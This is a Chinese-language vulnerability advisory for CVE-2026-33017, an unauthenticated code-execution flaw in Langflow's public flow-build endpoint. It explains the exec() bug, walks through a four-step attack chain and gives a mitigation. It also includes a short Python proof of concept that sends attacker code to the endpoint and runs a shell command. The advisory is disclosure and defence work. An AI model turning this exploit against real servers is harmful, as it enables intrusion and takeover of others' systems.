IPBUF安全漏洞报告
English
CVE-2026-33017 CVSS 9.8 严重

CVE-2026-33017 Langflow未授权远程代码执行漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-33017
漏洞类型
远程代码执行 (RCE)
CVSS评分
9.8 严重
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Langflow

相关标签

RCELangflowCVE-2026-33017未授权访问AI安全代码注入

漏洞概述

Langflow是一个用于构建和部署AI智能体和工作流的工具。在1.9.0版本之前,其`/api/v1/build_public_tmp/{flow_id}/flow`接口存在严重安全漏洞。攻击者无需认证,即可通过构造恶意请求,利用该接口的`data`参数传入包含恶意Python代码的流数据。系统在处理这些数据时,直接调用`exec()`函数执行代码,导致未经身份验证的远程代码执行。

技术细节

该漏洞源于Langflow在处理公共流构建请求时的逻辑缺陷。受影响端点`POST /api/v1/build_public_tmp/{flow_id}/flow`设计初衷虽为无需认证访问公共流,但其错误地接受并优先使用了请求体中`data`参数提供的流数据,而非数据库中存储的受信任数据。攻击者可精心构造包含恶意Python代码的节点定义,并将其放入`data`参数发送至服务器。服务器端在处理请求时,未对数据进行沙箱隔离或安全过滤,直接将攻击者提供的代码传递给Python的`exec()`函数执行。由于无需任何用户交互和身份认证,攻击者可借此在服务器上执行任意系统命令,完全控制主机。此问题与CVE-2025-3248不同,后者仅通过添加认证修复了`/api/v1/validate/code`端点,而本漏洞是针对构建端点的特定绕过。

攻击链分析

STEP 1
侦察
攻击者识别出互联网上运行Langflow且版本低于1.9.0的目标实例。
STEP 2
漏洞利用
攻击者向 `/api/v1/build_public_tmp/{flow_id}/flow` 发送特制的POST请求,在请求体的 `data` 参数中注入包含恶意Python代码的节点定义。
STEP 3
代码执行
服务器端接收请求,直接将 `data` 中的代码传递给 `exec()` 函数执行,且无沙箱保护。
STEP 4
权限提升与控制
恶意代码在服务器上下文中运行,攻击者获得服务器权限,可进一步植入后门或窃取数据。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests target_url = "http://target-ip:port/api/v1/build_public_tmp/{flow_id}/flow" # Malicious Python code to be executed on the server # Example: creating a reverse shell or reading a file malicious_code = """ import os os.system('whoami') """ # Construct the payload mimicking a flow node with Python code payload = { "data": { "nodes": [ { "id": "test_node", "type": "Python", "data": { "code": malicious_code } } ] } } # Send the unauthenticated POST request response = requests.post(target_url, json=payload) print(f"Status Code: {response.status_code}") print("Response:", response.text)

影响范围

Langflow < 1.9.0

防御指南

临时缓解措施
如果无法立即升级,建议在网络层面阻断对受影响端点 `/api/v1/build_public_tmp` 的外部访问,或仅允许可信IP地址调用该接口,直至完成补丁更新。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表